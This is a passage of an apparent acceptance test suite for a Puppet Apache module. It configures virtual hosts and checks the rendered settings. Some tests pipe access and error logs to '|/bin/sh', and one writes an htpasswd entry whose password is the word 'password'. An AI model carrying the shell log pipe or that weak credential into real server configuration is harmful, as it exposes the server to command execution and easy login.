World\n") + expect(shell("/usr/bin/curl -sSf files.example.net:80/index.html.bak", {:acceptable_exit_codes => 22}).stderr).to match(/curl: \(22\) The requested URL returned error: 403/) + end + end + + describe 'other Directory options' do + it 'should configure a vhost with multiple Directory sections' do + pp = <<-EOS + class { 'apache': } + + if versioncmp($apache_version, '2.4') >= 0 { + $_files_match_directory = { 'path' => 'private.html$', 'provider' => 'filesmatch', 'require' => 'all denied' } + } else { + $_files_match_directory = [ + { 'path' => 'private.html$', 'provider' => 'filesmatch', 'deny' => 'from all' }, + { 'path' => '/bar/bar.html', 'provider' => 'location', allow => [ 'from 127.0.0.1', ] }, + ] + } + + $_directories = [ + { 'path' => '/var/www/files', }, + { 'path' => '/foo/', 'provider' => 'location', 'directoryindex' => 'notindex.html', }, + $_files_match_directory, + ] + + apache::vhost { 'files.example.net': + docroot => '/var/www/files', + directories => $_directories, + } + file { '/var/www/files/foo': + ensure => directory, + } + file { '/var/www/files/foo/notindex.html': + ensure => file, + content => "Hello Foo\\n", + } + file { '/var/www/files/private.html': + ensure => file, + content => "Hello World\\n", + } + file { '/var/www/files/bar': + ensure => directory, + } + file { '/var/www/files/bar/bar.html': + ensure => file, + content => "Hello Bar\\n", + } + host { 'files.example.net': ip => '127.0.0.1', } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + it 'should answer to files.example.net' do + expect(shell("/usr/bin/curl -sSf files.example.net:80/").stdout).to eq("Hello World\n") + expect(shell("/usr/bin/curl -sSf files.example.net:80/foo/").stdout).to eq("Hello Foo\n") + expect(shell("/usr/bin/curl -sSf files.example.net:80/private.html", {:acceptable_exit_codes => 22}).stderr).to match(/curl: \(22\) The requested URL returned error: 403/) + expect(shell("/usr/bin/curl -sSf files.example.net:80/bar/bar.html").stdout).to eq("Hello Bar\n") + end + end + + describe 'SetHandler directive' do + it 'should configure a vhost with a SetHandler directive' do + pp = <<-EOS + class { 'apache': } + apache::mod { 'status': } + host { 'files.example.net': ip => '127.0.0.1', } + apache::vhost { 'files.example.net': + docroot => '/var/www/files', + directories => [ + { path => '/var/www/files', }, + { path => '/server-status', provider => 'location', sethandler => 'server-status', }, + ], + } + file { '/var/www/files/index.html': + ensure => file, + content => "Hello World\\n", + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + it 'should answer to files.example.net' do + expect(shell("/usr/bin/curl -sSf files.example.net:80/index.html").stdout).to eq("Hello World\n") + expect(shell("/usr/bin/curl -sSf files.example.net:80/server-status?auto").stdout).to match(/Scoreboard: /) + end + end + + describe 'Satisfy and Auth directive', :unless => $apache_version == '2.4' do + it 'should configure a vhost with Satisfy and Auth directive' do + pp = <<-EOS + class { 'apache': } + host { 'files.example.net': ip => '127.0.0.1', } + apache::vhost { 'files.example.net': + docroot => '/var/www/files', + directories => [ + { + path => '/var/www/files/foo', + auth_type => 'Basic', + auth_name => 'Basic Auth', + auth_user_file => '/var/www/htpasswd', + auth_require => "valid-user", + }, + { + path => '/var/www/files/bar', + auth_type => 'Basic', + auth_name => 'Basic Auth', + auth_user_file => '/var/www/htpasswd', + auth_require => 'valid-user', + satisfy => 'Any', + }, + { + path => '/var/www/files/baz', + allow => 'from 10.10.10.10', + auth_type => 'Basic', + auth_name => 'Basic Auth', + auth_user_file => '/var/www/htpasswd', + auth_require => 'valid-user', + satisfy => 'Any', + }, + ], + } + file { '/var/www/files/foo': + ensure => directory, + } + file { '/var/www/files/bar': + ensure => directory, + } + file { '/var/www/files/baz': + ensure => directory, + } + file { '/var/www/files/foo/index.html': + ensure => file, + content => "Hello World\\n", + } + file { '/var/www/files/bar/index.html': + ensure => file, + content => "Hello World\\n", + } + file { '/var/www/files/baz/index.html': + ensure => file, + content => "Hello World\\n", + } + file { '/var/www/htpasswd': + ensure => file, + content => "login:IZ7jMcLSx0oQk", # "password" as password + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { should be_running } + end + + it 'should answer to files.example.net' do + shell("/usr/bin/curl -sSf files.example.net:80/foo/index.html", {:acceptable_exit_codes => 22}).stderr.should match(/curl: \(22\) The requested URL returned error: 401/) + shell("/usr/bin/curl -sSf -u login:password files.example.net:80/foo/index.html").stdout.should eq("Hello World\n") + shell("/usr/bin/curl -sSf files.example.net:80/bar/index.html").stdout.should eq("Hello World\n") + shell("/usr/bin/curl -sSf -u login:password files.example.net:80/bar/index.html").stdout.should eq("Hello World\n") + shell("/usr/bin/curl -sSf files.example.net:80/baz/index.html", {:acceptable_exit_codes => 22}).stderr.should match(/curl: \(22\) The requested URL returned error: 401/) + shell("/usr/bin/curl -sSf -u login:password files.example.net:80/baz/index.html").stdout.should eq("Hello World\n") + end + end + end + + case fact('lsbdistcodename') + when 'precise', 'wheezy' + context 'vhost FallbackResource example' do + it 'should configure a vhost with FallbackResource' do + pp = <<-EOS + class { 'apache': } + apache::vhost { 'fallback.example.net': + docroot => '/var/www/fallback', + fallbackresource => '/index.html' + } + file { '/var/www/fallback/index.html': + ensure => file, + content => "Hello World\\n", + } + host { 'fallback.example.net': ip => '127.0.0.1', } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + it 'should answer to fallback.example.net' do + shell("/usr/bin/curl fallback.example.net:80/Does/Not/Exist") do |r| + expect(r.stdout).to eq("Hello World\n") + end + end + + end + else + # The current stable RHEL release (6.4) comes with Apache httpd 2.2.15 + # That was released March 6, 2010. + # FallbackResource was backported to 2.2.16, and released July 25, 2010. + # Ubuntu Lucid (10.04) comes with apache2 2.2.14, released October 3, 2009. + # https://svn.apache.org/repos/asf/httpd/httpd/branches/2.2.x/STATUS + end + + context 'virtual_docroot hosting separate sites' do + it 'should configure a vhost with VirtualDocumentRoot' do + pp = <<-EOS + class { 'apache': } + apache::vhost { 'virt.example.com': + vhost_name => '*', + serveraliases => '*virt.example.com', + port => '80', + docroot => '/var/www/virt', + virtual_docroot => '/var/www/virt/%1', + } + host { 'virt.example.com': ip => '127.0.0.1', } + host { 'a.virt.example.com': ip => '127.0.0.1', } + host { 'b.virt.example.com': ip => '127.0.0.1', } + file { [ '/var/www/virt/a', '/var/www/virt/b', ]: ensure => directory, } + file { '/var/www/virt/a/index.html': ensure => file, content => "Hello from a.virt\\n", } + file { '/var/www/virt/b/index.html': ensure => file, content => "Hello from b.virt\\n", } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + it 'should answer to a.virt.example.com' do + shell("/usr/bin/curl a.virt.example.com:80", {:acceptable_exit_codes => 0}) do |r| + expect(r.stdout).to eq("Hello from a.virt\n") + end + end + + it 'should answer to b.virt.example.com' do + shell("/usr/bin/curl b.virt.example.com:80", {:acceptable_exit_codes => 0}) do |r| + expect(r.stdout).to eq("Hello from b.virt\n") + end + end + end + + context 'proxy_pass for alternative vhost' do + it 'should configure a local vhost and a proxy vhost' do + apply_manifest(%{ + class { 'apache': default_vhost => false, } + apache::vhost { 'localhost': + docroot => '/var/www/local', + ip => '127.0.0.1', + port => '8888', + } + apache::listen { '*:80': } + apache::vhost { 'proxy.example.com': + docroot => '/var/www', + port => '80', + add_listen => false, + proxy_pass => { + 'path' => '/', + 'url' => 'http://localhost:8888/subdir/', + }, + } + host { 'proxy.example.com': ip => '127.0.0.1', } + file { ['/var/www/local', '/var/www/local/subdir']: ensure => directory, } + file { '/var/www/local/subdir/index.html': + ensure => file, + content => "Hello from localhost\\n", + } + }, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + it 'should get a response from the back end' do + shell("/usr/bin/curl --max-redirs 0 proxy.example.com:80") do |r| + expect(r.stdout).to eq("Hello from localhost\n") + expect(r.exit_code).to eq(0) + end + end + end + + unless (fact('operatingsystem') == 'SLES' and fact('operatingsystemmajorrelease') <= '10') + context 'proxy_pass_match for alternative vhost' do + it 'should configure a local vhost and a proxy vhost' do + apply_manifest(%{ + class { 'apache': default_vhost => false, } + apache::vhost { 'localhost': + docroot => '/var/www/local', + ip => '127.0.0.1', + port => '8888', + } + apache::listen { '*:80': } + apache::vhost { 'proxy.example.com': + docroot => '/var/www', + port => '80', + add_listen => false, + proxy_pass_match => { + 'path' => '/', + 'url' => 'http://localhost:8888/subdir/', + }, + } + host { 'proxy.example.com': ip => '127.0.0.1', } + file { ['/var/www/local', '/var/www/local/subdir']: ensure => directory, } + file { '/var/www/local/subdir/index.html': + ensure => file, + content => "Hello from localhost\\n", + } + }, :catch_failures => true) + end + + describe service($service_name) do + if (fact('operatingsystem') == 'Debian' && fact('operatingsystemmajrelease') == '8') + pending 'Should be enabled - Bug 760616 on Debian 8' + else + it { should be_enabled } + end + it { is_expected.to be_running } + end + + it 'should get a response from the back end' do + shell("/usr/bin/curl --max-redirs 0 proxy.example.com:80") do |r| + expect(r.stdout).to eq("Hello from localhost\n") + expect(r.exit_code).to eq(0) + end + end + end + end + + describe 'ip_based' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + ip_based => true, + servername => 'test.server', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file($ports_file) do + it { is_expected.to be_file } + it { is_expected.not_to contain 'NameVirtualHost test.server' } + end + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain "ServerName test.server" } + end + end + + describe 'ip_based and no servername' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + ip_based => true, + servername => '', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file($ports_file) do + it { is_expected.to be_file } + it { is_expected.not_to contain 'NameVirtualHost test.server' } + end + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.not_to contain "ServerName" } + end + end + + describe 'add_listen' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': default_vhost => false } + host { 'testlisten.server': ip => '127.0.0.1' } + apache::listen { '81': } + apache::vhost { 'testlisten.server': + docroot => '/tmp', + port => '80', + add_listen => false, + servername => 'testlisten.server', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file($ports_file) do + it { is_expected.to be_file } + it { is_expected.not_to contain 'Listen 80' } + it { is_expected.to contain 'Listen 81' } + end + end + + describe 'docroot' do + it 'applies cleanly' do + pp = <<-EOS + user { 'test_owner': ensure => present, } + group { 'test_group': ensure => present, } + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp/test', + docroot_owner => 'test_owner', + docroot_group => 'test_group', + docroot_mode => '0750', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file('/tmp/test') do + it { is_expected.to be_directory } + it { is_expected.to be_owned_by 'test_owner' } + it { is_expected.to be_grouped_into 'test_group' } + it { is_expected.to be_mode 750 } + end + end + + describe 'default_vhost' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + default_vhost => true, + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file($ports_file) do + it { is_expected.to be_file } + if fact('osfamily') == 'RedHat' and fact('operatingsystemmajrelease') == '7' + it { is_expected.not_to contain 'NameVirtualHost test.server' } + elsif fact('operatingsystem') == 'Ubuntu' and fact('operatingsystemrelease') =~ /(14\.04|13\.10|16\.04)/ + it { is_expected.not_to contain 'NameVirtualHost test.server' } + elsif fact('operatingsystem') == 'Debian' and fact('operatingsystemmajrelease') == '8' + it { is_expected.not_to contain 'NameVirtualHost test.server' } + elsif fact('operatingsystem') == 'SLES' and fact('operatingsystemrelease') >= '12' + it { is_expected.not_to contain 'NameVirtualHost test.server' } + else + it { is_expected.to contain 'NameVirtualHost test.server' } + end + end + + describe file("#{$vhost_dir}/10-test.server.conf") do + it { is_expected.to be_file } + end + end + + describe 'options' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + options => ['Indexes','FollowSymLinks', 'ExecCGI'], + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain 'Options Indexes FollowSymLinks ExecCGI' } + end + end + + describe 'override' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + override => ['All'], + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain 'AllowOverride All' } + end + end + + describe 'logroot' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + logroot => '/tmp', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain ' CustomLog "/tmp' } + end + end + + ['access', 'error'].each do |logtype| + case logtype + when 'access' + logname = 'CustomLog' + when 'error' + logname = 'ErrorLog' + end + + describe "#{logtype}_log" do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + logroot => '/tmp', + #{logtype}_log => false, + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.not_to contain " #{logname} \"/tmp" } + end + end + + describe "#{logtype}_log_pipe" do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + logroot => '/tmp', + #{logtype}_log_pipe => '|/bin/sh', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain " #{logname} \"|/bin/sh" } + end + end + + describe "#{logtype}_log_syslog" do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + logroot => '/tmp', + #{logtype}_log_syslog => 'syslog', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain " #{logname} \"syslog\"" } + end + end + end + + describe 'access_log_format' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + logroot => '/tmp', + access_log_syslog => 'syslog', + access_log_format => '%h %l', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain 'CustomLog "syslog" "%h %l"' } + end + end + + describe 'access_log_env_var' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + logroot => '/tmp', + access_log_syslog => 'syslog', + access_log_env_var => 'admin', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain 'CustomLog "syslog" combined env=admin' } + end + end + + describe 'multiple access_logs' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + logroot => '/tmp', + access_logs => [ + {'file' => 'log1'}, + {'file' => 'log2', 'env' => 'admin' }, + {'file' => '/var/tmp/log3', 'format' => '%h %l'}, + {'syslog' => 'syslog' } + ] + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain 'CustomLog "/tmp/log1" combined' } + it { is_expected.to contain 'CustomLog "/tmp/log2" combined env=admin' } + it { is_expected.to contain 'CustomLog "/var/tmp/log3" "%h %l"' } + it { is_expected.to contain 'CustomLog "syslog" combined' } + end + end + + describe 'aliases' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + aliases => [ + { alias => '/image' , path => '/ftp/pub/image' } , + { scriptalias => '/myscript' , path => '/usr/share/myscript' } + ], + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain 'Alias /image "/ftp/pub/image"' } + it { is_expected.to contain 'ScriptAlias /myscript "/usr/share/myscript"' } + end + end + + describe 'scriptaliases' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + scriptaliases => [{ alias => '/myscript', path => '/usr/share/myscript', }], + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain 'ScriptAlias /myscript "/usr/share/myscript"' } + end + end + + describe 'proxy' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': service_ensure => stopped, } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + proxy_dest => 'test2', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain 'ProxyPass / test2/' } + end + end + + describe 'actions' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + action => 'php-fastcgi', + } + EOS + pp = pp + "\nclass { 'apache::mod::actions': }" if fact('osfamily') == 'Debian' || fact('osfamily') == 'Suse' + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain 'Action php-fastcgi /cgi-bin virtual' } + end + end + + describe 'suphp' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': service_ensure => stopped, } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + suphp_addhandler => '#{$suphp_handler}', + suphp_engine => 'on', + suphp_configpath => '#{$suphp_configpath}', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain "suPHP_AddHandler #{$suphp_handler}" } + it { is_expected.to contain 'suPHP_Engine on' } + it { is_expected.to contain "suPHP_ConfigPath \"#{$suphp_configpath}\"" } + end + end + + describe 'rack_base_uris' do + unless fact('osfamily') == 'RedHat' or fact('operatingsystem') == 'SLES' + it 'applies cleanly' do + test = lambda do + pp = <<-EOS + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + rack_base_uris => ['/test'], + } + EOS + apply_manifest(pp, :catch_failures => true) + end + test.call + end + end + end + + describe 'no_proxy_uris' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': service_ensure => stopped, } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + proxy_dest => 'http://test2', + no_proxy_uris => [ 'http://test2/test' ], + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain 'ProxyPass http://test2/test !' } + it { is_expected.to contain 'ProxyPass / http://test2/' } + end + end + + describe 'redirect' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + redirect_source => ['/images'], + redirect_dest => ['http://test.server/'], + redirect_status => ['permanent'], + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain 'Redirect permanent /images http://test.server/' } + end + end + + describe 'request_headers' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + request_headers => ['append MirrorID "mirror 12"'], + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain 'append MirrorID "mirror 12"' } + end + end + + describe 'rewrite rules' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + rewrites => [ + { comment => 'test', + rewrite_cond => '%{HTTP_USER_AGENT} ^Lynx/ [OR]', + rewrite_rule => ['^index\.html$ welcome.html'], + rewrite_map => ['lc int:tolower'], + } + ], + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain '#test' } + it { is_expected.to contain 'RewriteCond %{HTTP_USER_AGENT} ^Lynx/ [OR]' } + it { is_expected.to contain 'RewriteRule ^index.html$ welcome.html' } + it { is_expected.to contain 'RewriteMap lc int:tolower' } + end + end + + describe 'directory rewrite rules' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + if ! defined(Class['apache::mod::rewrite']) { + include ::apache::mod::rewrite + } + apache::vhost { 'test.server': + docroot => '/tmp', + directories => [ + { + path => '/tmp', + rewrites => [ + { + comment => 'Permalink Rewrites', + rewrite_base => '/', + }, + { rewrite_rule => [ '^index\\.php$ - [L]' ] }, + { rewrite_cond => [ + '%{REQUEST_FILENAME} !-f', + '%{REQUEST_FILENAME} !-d', ], rewrite_rule => [ '. /index.php [L]' ], } + ], + }, + ], + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { should be_file } + it { should contain '#Permalink Rewrites' } + it { should contain 'RewriteEngine On' } + it { should contain 'RewriteBase /' } + it { should contain 'RewriteRule ^index\.php$ - [L]' } + it { should contain 'RewriteCond %{REQUEST_FILENAME} !-f' } + it { should contain 'RewriteCond %{REQUEST_FILENAME} !-d' } + it { should contain 'RewriteRule . /index.php [L]' } + end + end + + describe 'setenv/setenvif' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + setenv => ['TEST /test'], + setenvif => ['Request_URI "\.gif$" object_is_image=gif'] + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain 'SetEnv TEST /test' } + it { is_expected.to contain 'SetEnvIf Request_URI "\.gif$" object_is_image=gif' } + end + end + + describe 'block' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + block => 'scm', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain '' } + end + end + + describe 'wsgi' do + context 'on lucid', :if => fact('lsbdistcodename') == 'lucid' do + it 'import_script applies cleanly' do + pp = <<-EOS + class { 'apache': } + class { 'apache::mod::wsgi': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + wsgi_application_group => '%{GLOBAL}', + wsgi_daemon_process => 'wsgi', + wsgi_daemon_process_options => {processes => '2'}, + wsgi_process_group => 'nobody', + wsgi_script_aliases => { '/test' => '/test1' }, + wsgi_script_aliases_match => { '/test/([^/*])' => '/test1' }, + wsgi_pass_authorization => 'On', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + end + + context 'on everything but lucid', :unless => (fact('lsbdistcodename') == 'lucid' or fact('operatingsystem') == 'SLES') do + it 'import_script applies cleanly' do + pp = <<-EOS + class { 'apache': } + class { 'apache::mod::wsgi': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + wsgi_application_group => '%{GLOBAL}', + wsgi_daemon_process => 'wsgi', + wsgi_daemon_process_options => {processes => '2'}, + wsgi_import_script => '/test1', + wsgi_import_script_options => { application-group => '%{GLOBAL}', process-group => 'wsgi' }, + wsgi_process_group => 'nobody', + wsgi_script_aliases => { '/test' => '/test1' }, + wsgi_script_aliases_match => { '/test/([^/*])' => '/test1' }, + wsgi_pass_authorization => 'On', + wsgi_chunked_request => 'On', + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain 'WSGIApplicationGroup %{GLOBAL}' } + it { is_expected.to contain 'WSGIDaemonProcess wsgi processes=2' } + it { is_expected.to contain 'WSGIImportScript /test1 application-group=%{GLOBAL} process-group=wsgi' } + it { is_expected.to contain 'WSGIProcessGroup nobody' } + it { is_expected.to contain 'WSGIScriptAlias /test "/test1"' } + it { is_expected.to contain 'WSGIPassAuthorization On' } + it { is_expected.to contain 'WSGIChunkedRequest On' } + end + end + end + + describe 'custom_fragment' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + custom_fragment => inline_template('#weird test string'), + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain '#weird test string' } + end + end + + describe 'itk' do + it 'applies cleanly' do + pp = <<-EOS + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + itk => { user => 'nobody', group => 'nobody' } + } + EOS + apply_manifest(pp, :catch_failures => true) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain 'AssignUserId nobody nobody' } + end + end + + # Limit testing to Debian, since Centos does not have fastcgi package. + case fact('osfamily') + when 'Debian' + describe 'fastcgi' do + it 'applies cleanly' do + pp = <<-EOS + $_os = $::operatingsystem + + if $_os == 'Ubuntu' { + $_location = "http://archive.ubuntu.com/ubuntu/" + $_security_location = "http://archive.ubuntu.com/ubuntu/" + $_release = $::lsbdistcodename + $_release_security = "${_release}-security" + $_repos = "main universe multiverse" + } else { + $_location = "http://httpredir.debian.org/debian/" + $_security_location = "http://security.debian.org/" + $_release = $::lsbdistcodename + $_release_security = "${_release}/updates" + $_repos = "main contrib non-free" + } + + include ::apt + apt::source { "${_os}_${_release}": + location => $_location, + release => $_release, + repos => $_repos, + } + + apt::source { "${_os}_${_release}-updates": + location => $_location, + release => "${_release}-updates", + repos => $_repos, + } + + apt::source { "${_os}_${_release}-security": + location => $_security_location, + release => $_release_security, + repos => $_repos, + } + EOS + + #apt-get update may not run clean here. Should be OK. + apply_manifest(pp, :catch_failures => false) + + pp2 = <<-EOS + class { 'apache': } + class { 'apache::mod::fastcgi': } + host { 'test.server': ip => '127.0.0.1' } + apache::vhost { 'test.server': + docroot => '/tmp', + fastcgi_server => 'localhost', + fastcgi_socket => '/tmp/fast/1234', + fastcgi_dir => '/tmp/fast', + } + EOS + apply_manifest(pp2, :catch_failures => true, :acceptable_exit_codes => [0, 2]) + end + + describe file("#{$vhost_dir}/25-test.server.conf") do + it { is_expected.to be_file } + it { is_expected.to contain 'FastCgiExternalServer localhost -socket /tmp/fast/1234' } + it { is_expected.to contain '' } + end + end + end + + describe 'additional_includes' do + it 'applies cleanly' do + pp = <<-EOS + if $::osfamily == 'RedHat' and "$::selinux" == "true" { + $semanage_package = $::operatingsystemmajrelease ? { + '5' => 'policycoreutils', + default => 'policycoreutils-python', + } + exec { 'set_apache_defaults': + command => 'semanage fcontext -a -t httpd_sys_content_t "/apache_spec(/.*)?"', + path => '/bin:/usr/bin/:/sbin:/usr/sbin', + require => Package[$semanage_package], + } + package { $semanage_package: ensure => installed } + exec { 'restorecon_apache': + command => 'restorecon -Rv /apache_spec', + path => '/bin:/usr/bin/:/sbin:/usr/sbin', + before => Service['httpd'], + require => Class['apache'], + } + } + class { 'apache': } + host { 'test.server': ip => '127.0.0.1' } + file { '/apache_spec': ensure => directory, } + file { 